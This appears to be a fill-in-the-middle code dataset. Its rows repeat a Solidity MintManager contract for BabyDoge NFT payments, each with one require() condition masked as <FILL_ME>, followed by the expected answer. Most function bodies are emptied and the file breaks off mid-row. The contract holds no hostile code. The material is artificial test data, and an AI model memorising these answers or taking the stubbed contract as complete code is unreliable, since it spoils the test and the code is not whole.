uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
uint256 mintNumber = mintData.length;
// process payment
if (msg.value > 0) {
uint256 _bnbMintPrice = bnbMintPrice() * mintNumber;
require(msg.value >= _bnbMintPrice, "Invalid msg.value");
(bool success,) = stableCollector.call{ value: _bnbMintPrice }("");
require(success, "Couldn't collect BNB");
if (msg.value > _bnbMintPrice) {
(bool returned,) = msg.sender.call{ value: msg.value - _bnbMintPrice }("");
require(returned, "Couldn't return BNB");
}
} else if (paymentToken == address(babyDogeToken)) {
address[] memory path = _getTokenSwapPath(paymentToken);
uint256 _babyDogeMintPrice = _getTokenMintPrice(path) * mintNumber;
uint256 toStables = _babyDogeMintPrice * toStableCollectorShare / 10_000;
uint256 toBabyDogeCollector = _babyDogeMintPrice - toStables;
if (toStables > 0) {
babyDogeToken.safeTransferFrom(msg.sender, address(this), toStables);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
babyDogeToken.balanceOf(address(this)),
0,
path,
stableCollector,
block.timestamp
);
}
if (toBabyDogeCollector > 0) {
babyDogeToken.safeTransferFrom(msg.sender, babyDogeCollector, toBabyDogeCollector);
}
} else if (tokensInData[paymentToken].stableCoinOnlyDecimals != 0) {
IERC20(paymentToken).safeTransferFrom(
msg.sender,
stableCollector,
_getStableCoinMintPrice(paymentToken) * mintNumber
);
} else {
uint16 adminShare = tokensInData[paymentToken].adminShare;
require(adminShare > 0, "Invalid payment token");
uint16 partnerShare = tokensInData[paymentToken].partnerShare;
address[] memory path = _getTokenSwapPath(paymentToken);
uint256 mintPrice = _getTokenMintPrice(path) * mintNumber;
uint256 toStables = mintPrice * adminShare / 10_000;
uint256 toPartners = 0;
uint256 toBurn = 0;
if (adminShare + partnerShare == 10_000) {
toPartners = mintPrice - toStables;
} else {
toPartners = mintPrice * partnerShare / 10_000;
toBurn = mintPrice - (toStables + toPartners);
}
if (toStables > 0) {
IERC20(paymentToken).safeTransferFrom(msg.sender, address(this), toStables);
if (IERC20(paymentToken).allowance(address(this), address(router)) < toStables) {
IERC20(paymentToken).approve(address(router), type(uint256).max);
}
router.swapExactTokensForTokens(toStables, 0, path, stableCollector, block.timestamp);
}
if (toPartners > 0) {
IERC20(paymentToken).safeTransferFrom(
msg.sender,
tokensInData[paymentToken].partnerWallet,
toPartners
);
}
if (toBurn > 0) {
IERC20(paymentToken).safeTransferFrom(msg.sender, DEAD_WALLET, toBurn);
}
}
for (uint i = 0; i < mintData.length; i++) {
require(bytes(mintData[i].individualURI).length > 0, "Invalid individualURI");
require(<FILL_ME>)
// check signature
bytes32 mintHash = buildMintHash(
address(mintData[i].nftContract),
msg.sender,
mintData[i].tokenId,
mintData[i].individualURI,
mintData[i].deadline
);
(address recoveredAddress, ) = ECDSA.tryRecover(
mintHash,
mintData[i].sig.v,
mintData[i].sig.r,
mintData[i].sig.s
);
require(recoveredAddress == validator && recoveredAddress != address(0), 'Bad signature');
mintData[i].nftContract.mint(
msg.sender,
mintData[i].tokenId,
mintData[i].individualURI
);
}
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| mintData[i].deadline>block.timestamp,'Overdue order' | 260,159 | mintData[i].deadline>block.timestamp |
"Already added" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
require(_stableCoin != address(0), "Invalid payment stable coin");
if (_approved) {
require(<FILL_ME>)
tokensInData[_stableCoin].stableCoinOnlyDecimals = IERC20Metadata(_stableCoin).decimals();
} else {
require(approvedStableCoins.remove(_stableCoin), "Already removed");
tokensInData[_stableCoin].stableCoinOnlyDecimals = 0;
}
emit StableCoinApproved(_stableCoin, _approved);
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| approvedStableCoins.add(_stableCoin),"Already added" | 260,159 | approvedStableCoins.add(_stableCoin) |
"Already removed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
require(_stableCoin != address(0), "Invalid payment stable coin");
if (_approved) {
require(approvedStableCoins.add(_stableCoin), "Already added");
tokensInData[_stableCoin].stableCoinOnlyDecimals = IERC20Metadata(_stableCoin).decimals();
} else {
require(<FILL_ME>)
tokensInData[_stableCoin].stableCoinOnlyDecimals = 0;
}
emit StableCoinApproved(_stableCoin, _approved);
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
* @param _babyDogeCollector Collector of BabyDoge tokens #2
* @param _stableMintPrice Price to mint token and pay with Stable coins
* @param _toStableCollectorShare Share (in basis points, where 10000 = 100%) of BabyDoge payment, which will go to stableCollector
* @dev Can be called only by the Owner
*/
function setMintSettings(
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare
) external onlyOwner {
}
/*
* @notice Updates validator address
* @param _validator Address of Mint orders' signer
* @dev Can be called only by the Owner
*/
function setValidator(address _validator) external onlyOwner {
}
/**
* @param _stableCoin Stable Coin address
* @return Is Stable Coin approved to be used as payment token?
*/
function isApprovedStableCoin(address _stableCoin) public view returns (bool) {
}
/**
* @param _token ERC20 token address
* @return Is ERC20 token approved to be used as payment token?
*/
function isApprovedTokenIn(address _token) public view returns (bool) {
}
/**
* @return List of approved Stable Coins
*/
function getApprovedStableCoins() public view returns (address[] memory) {
}
/**
* @return List of approved custom ERC20 tokens IN
*/
function getApprovedTokensIn() public view returns (address[] memory) {
}
/**
* @return List of ALL tokens that can be used as tokensIn
*/
function getMintPrices() external view returns (TokenMintPrice[] memory) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function customTokenMintPrice(address token) public view returns(uint256) {
}
/**
* @return Mint price in BabyDoge tokens
*/
function babyDogeMintPrice() public view returns(uint256) {
}
/**
* @return Mint price in BNB
*/
function bnbMintPrice() public view returns(uint256) {
}
/*
* @notice Built hash for mint order
* @param nftContract NFT contract address
* @param account Future owner address
* @param tokenId Token ID index
* @param individualURI Individual token URI
* @param deadline Deadline, until which order is valid
* @dev May be used on off-chain to build order hash
*/
function buildMintHash(
address nftContract,
address account,
uint256 tokenId,
string calldata individualURI,
uint256 deadline
) public view returns (bytes32){
}
/**
* @return path ERC20 token swap path [Token -> WBNB -> targetStableCoin]
*/
function _getTokenSwapPath(address token) private view returns(address[] memory path) {
}
/**
* @return Mint price in custom ERC20 tokens
*/
function _getTokenMintPrice(address[] memory path) internal view returns(uint256) {
}
/**
* @notice Calculates mint price of single NFT for specific stablecoin
* @param token Stablecoin address
* @return mintPrice Mint price stablecoins to mint single NFT
*/
function _getStableCoinMintPrice(address token) internal view returns (uint256 mintPrice) {
}
}
| approvedStableCoins.remove(_stableCoin),"Already removed" | 260,159 | approvedStableCoins.remove(_stableCoin) |
"Invalid shares amounts" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { OptimizedFeeList } from "./libraries/OptimizedFeeList.sol";
import "./interfaces/IRouter.sol";
import "./interfaces/IMintable.sol";
import "./SafeOwnable.sol";
// @title Mints NFT tokens in exchange for BabyDoge, BNB or approved stable coins.
// `stableCollector` collects BNB and Stable coins.
// BabyDoge payment is split in 2 parts:
// 1st part is swapped to `targetStableCoin`,
// 2nd part is transferred directly to `babyDogeCollector`
// Owner sets stable coins, that are allowed to be used as payment tokens.
// Owner sets custom Partners' ERC20 tokens, that will be allowed to be used as payment tokens.
// Partner token payment may be split into 3 shares
// 1) admin share - will be swapped to `targetStableCoin`
// 2) partner share - will be transferred directly to partner wallet
// 3) burn share - will be transferred directly to DEAD wallet (burned)
// BNB, BabyDoge and Partners';' tokens prices are dynamically generated based on current BNB/BabyDoge prices
// Mint should be approved by `validator`.
// Owner sets validator.
contract MintManager is EIP712, SafeOwnable, ReentrancyGuard {
using EnumerableSet for EnumerableSet.AddressSet;
using OptimizedFeeList for OptimizedFeeList.FeesList;
using SafeERC20 for IERC20;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
struct MintData {
IMintable nftContract;
uint256 tokenId;
string individualURI;
uint256 deadline;
Sig sig;
}
struct TokenInData {
address partnerWallet;
uint16 adminShare;
uint16 partnerShare;
uint8 stableCoinOnlyDecimals;
}
// struct for view function
struct TokenMintPrice {
address token;
uint256 mintPrice;
}
bytes32 public constant MINT_TYPEHASH = keccak256("Mint(address nftContract,address account,uint256 tokenId,string individualURI,uint256 deadline)");
address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
IERC20 public immutable babyDogeToken;
IRouter public immutable router;
address private immutable WETH;
address public validator;
address public targetStableCoin;
address public stableCollector;
uint80 public stableMintPrice;
uint8 public targetStableCoinDecimals;
address public babyDogeCollector;
uint16 public toStableCollectorShare;
EnumerableSet.AddressSet private approvedStableCoins; // List of approved stableCoins that can be used for payment
EnumerableSet.AddressSet private approvedTokensIn; // List of approved Tokens that can be used for payment
// ERC20 token address => TokenInData. Contains distribution data for custom tokens IN
mapping(address => TokenInData) public tokensInData;
event StableCoinApproved(address stableCoin, bool isApproved);
event TokenInSet(
address indexed token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
);
event TokenInRemoved(address indexed token);
event MintSettingsUpdate(
address stableCollector,
uint80 stableMintPrice,
uint16 toStableCollectorShare,
address babyDogeCollector,
address targetStableCoin
);
event ValidatorUpdated(address);
/*
* @param _babyDogeToken BabyDoge token address
* @param _stableCollector Collector of BNB and Stable Coins fees
* @param _babyDogeCollector Address, which will collect BabyDoge fees without swapping
* @param _targetStableCoin StableCoin, to which portion of BayDoge tokens will be swapped
* @param _router Router address
* @param paymentStableCoins List of payment stable coins to be initially approved as payment tokens
* @param _stableMintPrice Mint price in stable coins
* @param _toStableCollectorShare Mint price in BabyDoge tokens
* @param _validator Validator address
*/
constructor(
address _babyDogeToken,
address _stableCollector,
address _babyDogeCollector,
address _targetStableCoin,
address _router,
address[] memory paymentStableCoins,
uint80 _stableMintPrice,
uint16 _toStableCollectorShare,
address _validator
) EIP712("MintManager", "1") {
}
/*
* @notice Mints token with approved token ID and token URI
* @param paymentToken Payment token address. Any address for BNB payment
* @param mintData Array of mint data
*** nftContract NFT contract address
*** tokenId Token ID index
*** deadline Deadline, till which the signature is valid
*** sig Signature, that approves MintData
* @dev Signature must be generated by the validator
* @dev msg.value Should be slightly higher than actual `bnbMintPrice` just in case. Leftover will be returned
* @dev Signature must be generated by the validator
*/
function mint (
address paymentToken,
MintData[] calldata mintData
) external payable nonReentrant {
}
/*
* @notice Allows stable coin to be used as payment token
* @param _stableCoin Stable coin address
* @param _approved `true` - allow stable coin to be used as payment token. `false` - forbid
* @dev Can be called only by the Owner
*/
function approveStableCoin(address _stableCoin, bool _approved) external onlyOwner {
}
/*
* @notice Allows ERC20 token to be used as payment token / Modifies existing ERC20 custom token data
* @param token ERC20 token to be approved as TokenIn
* @param adminShare Admin share in basis points, where 10 000 = 100%
* @param partnerShare Partners share in basis points, where 10 000 = 100%
* The rest will be burned
* @param partnerWallet Address destination of partners share
* @dev Can be called only by the Owner
*/
function setTokenIn(
address token,
uint16 adminShare,
uint16 partnerShare,
address partnerWallet
) external onlyOwner {
require(token != address(0), "Invalid payment token");
require(partnerWallet != address(0), "Invalid partner wallet");
require(adminShare > 0, "Invalid adminShare");
require(<FILL_ME>)
approvedTokensIn.add(token);
tokensInData[token].partnerWallet = partnerWallet;
tokensInData[token].adminShare = adminShare;
tokensInData[token].partnerShare = partnerShare;
emit TokenInSet(token, adminShare, partnerShare, partnerWallet);
}
/*
* @notice Allows ERC20 token to be used as payment token
* @param token ERC20 token to be approved as TokenIn
* @dev Can be called only by the Owner
*/
function removeTokenIn(address token) external onlyOwner {
}
/*
* @notice Updates Mint settings (prices and payment receivers)
* @param _stableCollector Collector of BNB
